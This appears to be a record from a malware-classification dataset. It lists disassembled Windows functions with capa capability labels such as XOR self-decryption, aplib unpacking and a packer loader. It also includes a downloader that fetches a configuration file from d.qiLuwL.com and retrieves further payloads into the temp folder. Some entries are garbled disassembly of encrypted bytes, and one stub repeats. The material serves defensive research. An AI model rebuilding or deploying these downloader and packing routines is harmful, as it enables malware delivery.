joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401570
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
lea esi, [ebp + 0xc]
mov ebx, dword [sym.imp.msvcrt.dll__iob]
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_runtime_failure:_n
call sym._fwrite
mov dword [esp + 8], esi
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._vfprintf
call sym._abort

Function at 0x4015bc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, eax
mov esi, edx
test ecx, ecx
jne 0x4015d8
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
mov dword [esp + 8], 0x1c
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [ebp - 0x3c], ecx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
mov ecx, dword [ebp - 0x3c]
je 0x401688
mov eax, dword [ebp - 0x24]
cmp eax, 0x40
je 0x40167c
cmp eax, 4
je 0x40167c
lea edx, [ebp - 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3c]
mov edi, ebx
rep movsb byte es:[edi], byte [esi]
cmp eax, 0x40
mov edx, dword [ebp - 0x40]
je 0x4015cd
cmp eax, 4
je 0x4015cd
mov dword [esp + 0xc], edx
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
mov edi, ebx
rep movsb byte es:[edi], byte [esi]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call dbg.__report_error
Function at 0x800058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8001a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x80007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x80006a
add dl, dl
jne 0x800089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8000dc
xor eax, eax
add dl, dl
jne 0x800096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x80017d
add dl, dl
jne 0x8000a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8000b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8000bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8000c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8000d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x800075
mov eax, 1
add dl, dl
jne 0x8000ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8000f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8000e1
sub eax, ebx
mov ebx, 1
jne 0x800128
mov ecx, 1
add dl, dl
jne 0x80010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x800119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x800105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x800075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x80013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x80014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x800136
cmp eax, 0x7d00
jae 0x80016d
cmp eax, 0x500
jb 0x800168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x800075
cmp eax, 0x7f
ja 0x800170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x800075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x80019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x800075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x2ed3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.02ed378f
jae 0x2ed370e
xor ecx, ecx
call fcn.02ed378f
jae 0x2ed373d
xor eax, eax
call fcn.02ed378f
jae 0x2ed374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.02ed378f
adc al, al
jae 0x2ed372f
jne 0x2ed3779
stosb byte es:[edi], al
jmp 0x2ed3711
call fcn.02ed379b
sub ecx, ebx
jne 0x2ed3756
call fcn.02ed3799
jmp 0x2ed3775
lodsb al, byte [esi]
shr eax, 1
je 0x2ed3783
adc ecx, ecx
jmp 0x2ed3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.02ed3799
cmp eax, 0x7d00
jae 0x2ed3772
cmp ah, 5
jae 0x2ed3773
cmp eax, 0x7f
ja 0x2ed3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2ed3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x42d8d5
Capabilities:
Encode data using xor

Disassembly:
jbe 0x42d878
sub esi, ecx
lodsb al, byte [esi]
dec edx
pop ss
xor al, byte [esi + 0x27]
jnp 0x42d853
mov bh, 0x4c
invalid
daa
int3
xchg byte [ebp - 0x62ed81e9], al
mov esp, 0xe83916d1
inc ebx
jo 0x42d906
xor byte [ecx - 0xa], al
scasb al, byte es:[edi]
push edx
mov bh, 0x6d
jb 0x42d851
into
sbb al, 0xd2
out 0xe8, eax
mov ecx, 0x595ca240
cmp dh, byte [edi - 0x40]
cmp dh, byte [ecx + 0x42a132c7]
inc edx
inc edx
bound esp, qword [0x6dd577c3]
rcr byte [ebp - 0x49], cl
outsb dx, byte [esi]
mov ecx, esi
push ds
jno 0x42d8ac
push edx
popfd
inc esp
int3
mov eax, 0xb296b3dd
push edi
neg bh
ret 0x5df7
Function at 0x468535
Capabilities:
Encode data using xor

Disassembly:
iretd
shl dword [edi + 0x410bee20], 1
add eax, 0xa661f77e
jle 0x468520
popal
cmpsb byte [esi], byte es:[edi]
int1
dec edx
sbb al, 0xe5
or bl, byte [ebp + 0x2f]
pushfd
das
sub al, 7
pop es
pop es
ja 0x468527
mov eax, 0xdd9abf4b
movsd dword es:[edi], dword [esi]
pushfd
daa
adc byte [eax - 2], bh
ficom dword [ecx]
jp 0x4684dd
stosd dword es:[edi], eax
outsd dx, dword [esi]
aas
xchg edi, eax
inc ebp
fld st(3)
popfd
test dword [ebx], ebp
imul edx, dword [ebx + 0x13], 0x45
add byte [ebx + 0x6a], dh
mov eax, dword [0x21a84ca9]
push esp
arpl word [ecx], sp
push ds
sbb ebp, edi
xor ch, dh
jno 0x4685d4
and esp, dword [edx]
test al, 0xba
adc dword [eax - 0xa6bb885], edi
sbb dword [edx + 0x4f9b8b9d], ebx
pushal
imul ebx, dword [ebx + 0x42c26cd3], 0x6f
mov dword [edx + edx + 0x70445b7e], edi
sal dword [edx], 1
xchg edx, eax
inc esp
push 0x5b75244b
xor dl, byte [edx + 0x244b6844]
jne 0x4685ec
jnp 0x468589
in eax, dx
add dword [edi + 0x4f], ecx
pop ebx
outsd dx, dword [esi]
test al, 0xeb
mov eax, dword [0x4cc6abc5]
xor ecx, dword [ecx + ebx - 0x61253465]
pop edx
mov esp, eax
imul ecx, ebp, 0xffffffe4
sbb esi, dword [ebx + 0x4376ae5a]
jbe 0x4685f6
pop ds
imul esi, dword [edi], 0xffffffe7
inc edi
jo 0x4685cd
mov ebx, dword [ebx + eax*8]
fcom qword [esi - 0x70]
or ebx, 0x3032bf9
loopne 0x468606
or al, 0xa6
xchg ecx, eax
sal byte [edi + 0x6e], cl
outsb dx, byte [esi]
out dx, al
jmp 0xfd6079c7
std
movsb byte es:[edi], byte [esi]
dec esi
pop esi
out 0x90, eax
adc edx, dword [ecx]
or bl, dh
xlatb
inc esp
cmp byte [0x5e03ae06], 0x4f
sub byte [ebp + ebx*4 - 0x46443ead], 0x4b
pop ss
loope 0x46863e
sar dword [ebx - 0x1ee8b447], 0x4b
mov eax, dword [0xc0381657]
cmp al, al
sti
enter 0x2046, 0x6f
mov ebx, 0x2567138f
mov al, byte [0xd97fdb5c]
jg 0x4685e1
cmpsd dword [esi], dword es:[edi]
fldz
jno 0x4685b1
cmp ecx, esp
test eax, 0x6cb1ae38
test dword [esi - 0x1851e056], edi
rcl dword [esi + 0x56533582], 0x77
push es
adc ch, byte [eax + 0x7e260ca1]
add ch, byte [eax]
out 0xf8, al
mov ds, word [edx]
push edx
rcl esi, 0x3e
aas
push ss
fiadd word [edi - 0x67cdcb7]
xor al, 0x55
push ebx
ret
Function at 0x4698c5
Capabilities:
Encode data using xor

Disassembly:
cmp ch, byte [edx - 0x6ad4a569]
sahf
or esp, dword [edx + 0x54]
test byte [ebx - 6], al
xor ebx, 0x65
pushal
pushal
mov ah, 0x2f
and ah, dl
xor eax, 0xc4711ea2
int 0x6c
loop 0x469893
mov byte [0xcdc4711e], al
insb byte es:[edi], dx
sbb byte [edx + 0x39], 0xfa
in eax, 0xf7
les esp, [ebx - 0x64254857]
aam 0xb0
jg 0x469898
neg cl
push eax
dec ebx
jge 0x469887
in al, 0x7b
dec si
push ebp
scasd eax, dword es:[edi]
fcmove st(0), st(3)
jae 0x469847
jae 0x469847
xchg edx, eax
cmp cl, byte [ebx - 0x3e]
inc ebx
cld
mov eax, dword [0x8b0e7267]
mov ebp, 0x9e56b0bc
mov al, 0x56
sahf
add al, 0xfc
sub dword [eax - 0x22], ebx
in eax, dx
or bh, 0x64
cld
or ch, byte [0xd8727b4a]
movsb byte es:[edi], byte [esi]
in al, dx
lds ebp, [edi + 0x31]
jae 0x46985c
retf
sar byte [ecx + 0x57926327], 0x15
jp 0x469857
push edi
adc eax, 0x8555897a
lahf
jp 0x469884
push ebp
test dword [edi + 0x7c2db17a], ebx
adc esi, dword [ebx - 0x5674d735]
mov esi, 0xfff037c
sub eax, 0xcbb3137c
sub byte [ebx + 0x37cbea9], cl
dec dword [edi]
mov ebp, 0x45069298
lcall 0x16a8, 0xa2ad527c
cmp byte [eax - 0x7950669], dh
scasb al, byte es:[edi]
stosd dword es:[edi], eax
inc ebp
mov edx, 0x19f47c07
jb 0x4698cb
jle 0x4698ca
add dl, byte [edx]
xor al, 7
pextrw ecx, mm7, 0x58
cmp dword [edx + eax*8 - 0x6c], ecx
out dx, al
xchg dword [edx], edi
jo 0x469959
ret 0xee94
fcom qword [esi - 0xd475d31]
movsb byte es:[edi], byte [esi]
push ds
pop ss
sub al, byte [eax]
jns 0x469909
xchg byte [edi + 0x74e248d2], bl
pop ebp
pop es
invalid
dec edx
cmp eax, 0x41a37c2f
invalid
Function at 0x492a75
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
Function at 0x494385
Capabilities:
Encode data using xor

Disassembly:
lahf
movsb byte es:[edi], byte [esi]
out 0x62, al
hlt
or cl, 0xf0
sbb dword [ecx], eax
das
pop ds
imul ecx, dword [edi], 0x711be179
jb 0x4942ee
nop
inc ecx
pop ebp
adc esi, dword [esp + ebx + 0x17]
pop esp
push ebp
mov ch, 0xc3
rcl dword [ebp + 0x5b373d83], cl
xor al, 0x5d
sbb al, 0x70
cmp eax, 0xdda1db8d
outsb dx, byte [esi]
sbb eax, 0x5d350ef1
push eax
sbb eax, 0x2b7f1571
mov eax, dword [0x261b95af]
nop
jle 0x4943c4
arpl word [edi], dx
and eax, 0x611dd7c9
pop ss
xor dl, byte [edi - 0x68]
sal ecx, 0x28
or al, 0x37
xchg esi, eax
jo 0x49439f
jmp 0x49435a
mov cl, 0x45
inc ecx
adc eax, 0xdc354a13
jo 0x4943ec
jno 0x4943c4
inc edx
xor eax, 0x1d29fa81
cwde
rol cl, cl
pop ebx
mov cl, 0xb5
xchg ecx, eax
sbb byte [ecx], ah
cwde
pop ecx
xor al, 0x8a
out 0x9a, al
adc dword [ebx + 0x3dd13cda], esi
pop ebp
inc eax
sbb eax, 0xbb7915fe
or esp, ebx
je 0x494415
cld
mov al, byte [0x69724d17]
push ecx
add eax, 0xdcae40fc
mov cl, 0xdc
sub dword [esp], 0x3d5932dd
sub al, 0xa4
fnsave dword [edx]
pop ecx
cmp eax, 0xa95dac2c
xchg esp, eax
add dword [ecx - 0x10], ebp
dec ebp
xchg ebp, eax
add eax, 0x66745b31
Function at 0x4baaae
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c1370
cmp edx, dword [eax]
je 0x4baad0
add eax, 8
inc ecx
cmp eax, 0x4c1400
jl 0x4baac1
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c1370]
jne 0x4babfe
mov eax, dword [0x4c5a24]
cmp eax, 1
je 0x4babd8
test eax, eax
jne 0x4bab01
cmp dword [0x4c12b0], 1
je 0x4babd8
cmp edx, 0xfc
je 0x4babfe
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bab38
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bb1c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bb3f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bab7b
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bb3f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4be720
push edi
call fcn.004bcbc0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bb1c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bb1d0
lea eax, [ebp - 0xa0]
push 0x4be700
push eax
call fcn.004bb1d0
push dword [esi + 0x4c1374]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bb1d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bcb34
add esp, 0x2c
pop edi
jmp 0x4babfe
lea eax, [ebp + 8]
lea esi, [esi + 0x4c1374]
push 0
push eax
push dword [esi]
call fcn.004bb3f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x404bef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40db60]
jne 0x404bf9
repz ret
jmp fcn.0040883b

Function at 0x4060f3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004029c4
and dword [ebp - 4], 0
cmp dword [0x40e54c], 0
mov ebx, eax
jne 0x4061a4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406255
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40aa14
push edi
call esi
test eax, eax
je 0x406255
push eax
call fcn.00402952
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40e54c], eax
call esi
push eax
call fcn.00402952
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40e550], eax
call esi
push eax
call fcn.00402952
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40e554], eax
call esi
push eax
call fcn.00402952
pop ecx
mov dword [0x40e55c], eax
test eax, eax
je 0x4061a4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402952
pop ecx
mov dword [0x40e558], eax
mov eax, dword [0x40e558]
cmp eax, ebx
je 0x4061fc
cmp dword [0x40e55c], ebx
je 0x4061fc
push eax
call fcn.004029cd
push dword [0x40e55c]
mov esi, eax
call fcn.004029cd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4061fc
test edi, edi
je 0x4061fc
call esi
test eax, eax
je 0x4061f3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4061f3
test byte [ebp - 0xc], 1
jne 0x4061fc
or dword [ebp + 0x10], 0x200000
jmp 0x406235
mov eax, dword [0x40e550]
cmp eax, ebx
je 0x406235
push eax
call fcn.004029cd
pop ecx
test eax, eax
je 0x406235
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406235
mov eax, dword [0x40e554]
cmp eax, ebx
je 0x406235
push eax
call fcn.004029cd
pop ecx
test eax, eax
je 0x406235
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40e54c]
call fcn.004029cd
pop ecx
test eax, eax
je 0x406255
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406257
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x53dd9c
push eax
push dword fs:[0]
push ebx
add byte [eax + 0x64], dl
push dword [0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401080
arpl word [edx + esi], si
adc ebx, dword [edi - 0x54]
xchg ebx, eax
neg dl
push cs
dec ecx
mov eax, 0x7fb97088
add ah, ah
aam 0xe7
mov dword [0x98c0ec09], eax
mov eax, dword [0xf6a8b15c]
jecxz 0x401003
xor dword [ecx], ecx
iretd
ljmp 0x2bdb:0xc41a7522
jne 0x40109c
invalid
mov ch, byte [edx + 0x477bf67f]
jle 0x4010d4
salc
rcr cl, 1
cwde
add al, 0x60
sub byte [ecx + 0x485b75a6], bh
adc byte [eax], cl
xor eax, 0x4156615a
clc
or edi, dword [esi + 0x54]
xchg byte [ebx + 0x456a3141], bl
adc dword [edx + 0x30], ecx
jno 0x401110
sbb ebx, edi
cmp al, 0x6e
jae 0x40107e
out dx, al
aad 0x69
sub dword [edi + 0x33], ebx
retf
push ebp
mov cs, edx
mov bl, byte [edx + 0x3812e7a7]
adc eax, 0x31bdc80d
movsd dword es:[edi], dword [esi]
fild qword [eax]
add ch, al
cmpsd dword [esi], dword es:[edi]
dec eax
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401300
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push 0
push 0
push 0
push 0
push str.TopOfWave
mov esi, ecx
mov dword [ebp - 0x40c], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x410], ebx
test ebx, ebx
je 0x4013f9
push edi
push 0
push 0x4000000
push 0
push 0
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x4013f1
push esi
push 0x4031e0
call dword [sym.imp.MSVCR100.dll_printf]
mov ecx, dword [ebp - 0x40c]
push 0x4031e4
push ecx
mov dword [ebp - 0x408], 1
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4013ea
cmp dword [ebp - 0x408], 0
jbe 0x4013e0
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [ebp - 0x408]
push edx
push 0x3ff
lea eax, [ebp - 0x404]
push eax
push edi
call ebx
mov ecx, dword [ebp - 0x408]
push esi
push ecx
lea edx, [ebp - 0x404]
push 1
push edx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x408], 0
ja 0x4013a1
mov ebx, dword [ebp - 0x410]
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040192c
mov esp, ebp
pop ebp
ret

Function at 0x401410
Capabilities:
Delete file
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.wmsj.ini
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push str.http:__d.qiLuwL.com_wmsj.ini
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x20c]
call fcn.00401300
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
add esp, 4
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push 0x4044a8
push 0x4031a4
push 0x403214
push 0x403218
call esi
lea edx, [ebp - 0x108]
push edx
push 0x104
push 0x4043a0
push 0x4031a4
push 0x40321c
push 0x403218
call esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040192c
mov esp, ebp
pop ebp
ret
Function at 0x401730
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push 0x4031a4
push 0x4044a8
call esi
test eax, eax
je 0x40180f
push 0x4031a4
push 0x4043a0
call esi
test eax, eax
je 0x40180f
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4043a0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x4044a8
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea eax, [ebp - 0x108]
push eax
mov ecx, 0x4044a8
call fcn.00401300
lea ecx, [ebp - 0x108]
push ecx
call fcn.00401160
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040192c
mov esp, ebp
pop ebp
ret

Function at 0x40192c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401936
repz ret
jmp fcn.00401bd3

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx